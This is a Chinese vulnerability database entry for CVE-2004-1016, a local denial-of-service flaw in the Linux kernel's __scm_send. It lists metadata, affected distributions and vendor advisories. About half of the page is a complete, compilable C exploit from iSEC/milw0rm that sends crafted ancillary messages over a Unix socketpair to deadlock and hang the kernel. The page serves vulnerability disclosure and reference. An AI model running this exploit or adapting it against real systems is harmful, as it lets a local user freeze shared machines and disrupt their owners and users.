Linux kernel scm_send 本地拒绝服务漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1108342 漏洞类型 其他
发布时间 2004-12-14 更新时间 2007-01-18
CVE编号 CVE-2004-1016 CNNVD-ID CNNVD-200501-181
漏洞平台 Linux CVSS评分 2.1
|漏洞来源
https://www.exploit-db.com/exploits/685
https://www.securityfocus.com/bid/11921
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200501-181
|漏洞详情
LinuxKernel是开放源代码操作系统Linux的内核。LinuxKernel2.4.x至2.4.28及2.6.x至2.6.9版本中的scmlayer中的scm_send函数存在拒绝服务漏洞。本地用户可利用此漏洞,通过传递特制的辅助消息给sendmsf,将导致死锁,使得系统挂起,从而造成拒绝服务攻击。
|漏洞EXP
/*
*      Linux kernel 2.4 & 2.6 __scm_send DoS
*      Warning! this code will hang your machine
*
*      gcc -O2 scmbang.c -o scmbang
*
*      Copyright (c) 2004  iSEC Security Research. All Rights Reserved.
*
*      THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
*      AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
*      WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
*/

#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <sys/socket.h>
#include <arpa/inet.h>

static char buf[1024];

void
fatal (const char *msg)
{
   printf ("\n");
   if (!errno)
     {
         fprintf (stderr, "FATAL: %s\n", msg);
     }
   else
     {
         perror (msg);
     }
   printf ("\n");
   fflush (stdout);
   fflush (stderr);
   exit (1);
}

int
main (void)
{
   int s[2], r;
   struct sockaddr_in sin;
   struct msghdr *msg;
   struct cmsghdr *cmsg;

   r = socketpair (AF_UNIX, SOCK_DGRAM, 0, s);
   if (r < 0)
       fatal ("socketpair");

   memset (buf, 0, sizeof (buf));
   msg = (void *) buf;
   msg->msg_control = (void *) (msg + 1);

// make bad cmsgs
   cmsg = (void *) msg->msg_control;

   cmsg->cmsg_len = sizeof (*cmsg);
   cmsg->cmsg_level = 0xdeadbebe;
   cmsg->cmsg_type = 12;       // len after overflow on second msg
   cmsg++;

// -12 for deadlock
   cmsg->cmsg_len = -12;
   cmsg->cmsg_level = SOL_IP;
   msg->msg_controllen = (unsigned) (cmsg + 1) - (unsigned) msg->msg_control;
   r = sendmsg (s[0], msg, 0);
   if (r < 0)
       fatal ("sendmsg");

   printf ("\nYou lucky\n");
   fflush (stdout);

   return 0;
}

// milw0rm.com [2004-12-14]
|受影响的产品
Ubuntu Ubuntu Linux 4.1 ppc Ubuntu Ubuntu Linux 4.1 ia64 Ubuntu Ubuntu Linux 4.1 ia32 Redhat Linux 9.0 i386 Redhat Linux 7.3 i386 Redhat Fedora Core3 Redhat
|参考资料

来源:BID
名称:11921
链接:http://www.securityfocus.com/bid/11921
来源:FEDORA
名称:FLSA:2336
链接:https://bugzilla.fedora.us/show_bug.cgi?id=2336
来源:XF
名称:linux-scmsend-dos(18483)
链接:http://xforce.iss.net/xforce/xfdb/18483
来源:REDHAT
名称:RHSA-2004:689
链接:http://www.redhat.com/support/errata/RHSA-2004-689.html
来源:MISC
链接:http://isec.pl/vulnerabilities/isec-0019-scm.txt
来源:REDHAT
名称:RHSA-2005:017
链接:http://www.redhat.com/support/errata/RHSA-2005-017.html
来源:REDHAT
名称:RHSA-2005:016
链接:http://www.redhat.com/support/errata/RHSA-2005-016.html
来源:SUSE
名称:SUSE-SA:2004:044
链接:http://www.novell.com/linux/security/advisories/2004_44_kernel.html
来源:MANDRAKE
名称:MDKSA-2005:022
链接:http://www.mandriva.com/security/advisories?name=MDKSA-2005:022
来源:DEBIAN
名称:DSA-1082
链接:http://www.debian.org/security/2006/dsa-1082
来源:DEBIAN
名称:DSA-1070
链接:http://www.debian.org/security/2006/dsa-1070
来源:DEBIAN
名称:DSA-1069
链接:http://www.debian.org/security/2006/dsa-1069
来源:DEBIAN
名称:DSA-1067
链接:http://www.debian.org/security/2006/dsa-1